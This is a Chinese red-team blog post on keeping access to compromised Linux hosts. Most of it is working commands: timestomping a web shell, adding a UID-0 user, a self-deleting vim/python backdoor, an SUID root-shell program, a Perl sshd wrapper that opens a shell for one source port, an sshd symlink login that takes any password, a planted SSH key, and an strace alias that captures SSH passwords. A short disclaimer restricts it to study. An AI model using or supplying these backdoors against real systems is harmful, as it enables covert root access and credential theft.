【技术分享】红队权限维持方法杂谈
- 2020 年 3 月 8 日
- 筆記
以下内容与测试工具仅限技术交流,严禁用于非法攻击
本次分享分两部分,分别介绍Linux和Windows的权限维持,今天主要介绍Linux的,为了节省时间,这里就选择我平时用的比较多的较为好用的方法来介绍
0X01:Linux篇
这里说的方法都是可以或者说需要配合使用的,具体还要看自己的发散性思维,但是本人(作者BiggieB)从今天开始不再分享任何与思路及实战相关的内容
- Linux修改文件时间
- add user
- vim后门
- suid
- SSH
- 隐藏文件(包括但不限于参数混淆拦截rm)#本文不研究
- Cron/alias
1.1 顾名思义,如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间在来看shell.php的时间就可以判断shell.php的生成时间有问题。
解决方法 touch -r index.php shell.php
这就是一个需要配合其他的方法来利用的隐藏手段,不多赘述
2.1 passwd写入
/etc/passwd各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
根据格式写入就好,百度上有很详细的教程
2.2在 Unix 体系下,UID 为 0 就是 root 权限。所以渗透的时候可以添加一个 UID 为 0 的用户作为后门
useradd -o -u 0 123
3.1vim 后门
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
dir.py设置成你后门的功能
4.1 suid,简单的讲就是生成一个二进制文件,文件运行的过程中你拥有root权限,你可以以root权限执行任何命令
#vim suid.c#include<stdlib.h>main () {setuid(0);system("/bin/bash");}
然后把他gcc成二进制文件,赋予suid权限,剩下的自己发挥,你甚至可以在web中调用这个文件然后执行系统命令
5.1 wrapper
目标机
cd /usr/sbinmv sshd ../binecho '#!/usr/bin/perl' > sshdecho 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshdecho 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd/etc/init.d/sshd restart
本机
socat STDIO TCP4:192.168.2.11:22,souceport=19526
解释一下,首先启动sshd,脚本运行到getpeername的时候正则匹配不到,运行下一行,启动真正的sshd,然后建立连接,然后创建一个子进程,子进程回到我们的脚本,重新定向,这样就能获取客户的TCP端口,如果是19526就建立一个shell
5.2 ssh软连接后门
ln -sf /usr/sbin/sshd /tmp/su/tmp/su -oPort=任意端口
PAM进行身份验证时你的配置信息是su,而su只检测uid 0就可认证成功,可以输入任意密码登陆
5.3 公钥免密登陆
ssh-keygen -t rsa //生成公钥
将id_rsa.pub内容放到目标.ssh/authorized_keys里
7.1 Cron,这个很容易被蓝队发现,定时执行任务,不过多介绍
在redis中可以利用这个获得shell
7.2
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
好了,文章到这就差不多了,这些都是我平时比较常用的维持权限方法,昨天发个文章有人问我不是弱口令怎么办,今天发完这篇文章我不希望有人问我不是root权限怎么办,谢谢
郑重声明:以上内容仅供学习交流,严禁用于非法交流!!!!!!!